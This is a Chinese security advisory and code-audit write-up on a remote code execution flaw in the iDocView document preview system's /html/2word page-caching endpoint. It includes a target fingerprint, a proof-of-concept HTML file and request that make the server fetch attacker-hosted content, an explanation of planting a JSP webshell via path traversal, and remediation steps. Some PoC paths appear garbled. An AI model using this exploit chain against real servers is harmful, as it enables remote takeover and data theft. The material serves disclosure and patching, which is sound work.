# 01
产品简介
i Doc View是一个在线文档解析应用,旨在提供便捷的文件查看和编辑服务。
# 02
漏洞概述
漏洞成因
本次漏洞出现在在线文档解析应用中的远程页面缓存功能。具体问题在于该应用未能对用户输入的URL进行充分的安全验证,从而导致存在安全隐患。攻击者可通过构造特殊的URL,引诱应用下载恶意文件。
漏洞利用
攻击者利用该漏洞的关键在于使用具有远程页面缓存功能的接口,在参数中填写预先准备的包含恶意文件的URL。此类请求能够绕过正常的安全检查,使得服务器下载并处理恶意内容。漏洞的触发会返回特定的响应状态和内容类型条件,攻击者可通过自动化脚本进行检测和利用。
漏洞影响
该漏洞的利用可能导致服务器被远程控制、敏感数据泄露等等。漏洞的存在不仅威胁到该应用服务器的安全性,还可能成为更广泛网络安全事件的触发点。建议受影响的用户尽快采取必要的安全措施,以防范潜在的安全风险。
# 03
影响范围
i Doc View < 13.10.1_20231115
# 04
复现环境
指纹
title="I DOC VIEW"
# 05
漏洞复现
创建jsp文件
vim ..\..\..\docview\t.jsp
写入html文件内容,href指定服务器文件
<html lang="en">
<head>
<title>POC</title>
</head>
<body>
<link href="/......docviewpoc.jsp">
</body>
</html>
开启监听
使用poc发起url请求
GET /html/2word?url=http://192.168.1.1:8089/idocview.html HTTP/1.1
Host: 192.168.31.192:816
# 06
漏洞分析
找到html对应的控制器
42-49行这里就是创建一个文件目录就以url计算的hash生成。在50行的if 为 false时进入GrabWebPageUtil.downloadHtml方法
这部分就是对url进行连接,然后调用到getWebPage方法
这一段就是对文件做一些处理
关键代码在这里,GrabUtility.searchForNewFilesToGrab方法
在这里会解析html的内容,如果包含link[href]、script[src]、img[src]标签,就会获取href属性调用到addLinkToFrontier方法
public static List<String> filesToGrab = new ArrayList();
再次返回到downloadHtml方法,会遍历数组,将URL对象再次交给getWebPage方法进行重载。通过文件流的形式写入文件。
在黑名单中没有jsp所以可以写入jsp马,在取文件名的时候通过截图"/"之后的内容作为文件名,此系统为windwos所以可以使用来代替。
# 07
1、官方修复方案:
厂商已禁用漏洞相关接口并升级软件版本到13.10.1_20231115,客户可升级到该版本解决漏洞,官网https://api.idocv.com已升级到最新版本。
2、临时修复方案:
a.使用防护类设备对相关资产进行防护;
b.如非必要,避免将资产暴露在互联网;如有需要可通过网络ACL策略限制访问来源,只允许特定IP进行访问;
c.限制服务器主动访问外部陌生链接。
原文始发于微信公众号(河北网络安全高校联盟):【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论